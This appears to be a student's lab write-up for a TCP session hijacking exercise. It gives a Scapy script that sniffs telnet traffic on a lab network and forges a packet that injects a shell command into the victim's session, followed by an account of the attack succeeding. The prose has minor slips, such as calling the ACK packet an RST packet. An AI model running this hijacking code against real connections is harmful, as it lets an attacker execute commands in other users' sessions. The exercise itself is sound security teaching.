```
def get_info(pkt):
    #print("SENDING HIJACK PACKET..........")
    #sniffing packet from server/end host
    #sending packet as user/victim
    ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
    tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, flags="A",
seq=pkt[TCP].ack , ack=pkt[TCP].seq)
    data =  "\n touch /home/seed/test.txt\n"
    hijackPkt = ip/tcp/data
    #ls(hijackPkt)
    send(hijackPkt, iface="br-14fcdedbf20a", verbose=0)

pkt = sniff(iface="br-14fcdedbf20a", filter="tcp and src host 10.9.0.6 and
src port 23", prn=get_info)
```

I'm able to automate the TCP Session Hijacking attack by sniffing the telnet packet going from the "server" (10.9.0.6) to the "user" (10.9.0.5). By setting a filter for the packets, I'm only sniffing packets that are coming from the server with the targeted IP and port. The code will try to send out a packet based on the packet we received so the sniffed packet's destination info (IP, port, seq, ack) becomes the source info of our RST packet. In addition to the packet, the code will now add the data segment to the TCP segment. The data we want to send is a command to create a blank test.txt file. When the attack successfully is successful, Wireshark continuously try to resynchronize with the connection but is unable to do so. This is also visible by the freezing terminal when the hijacking is in progress. Once the hijack is forcibly terminated and I log back into the victim machine, I can now see the test.txt file was created which indicates that the attack was successful. I've gotten most of the idea from reading the scapy manual, and the video https://www.youtube.com/watch?v=W2orAOATGgA&t=2708s&ab_channel=RicardoCalix. The rest of the coding template was taken from the homework pdf.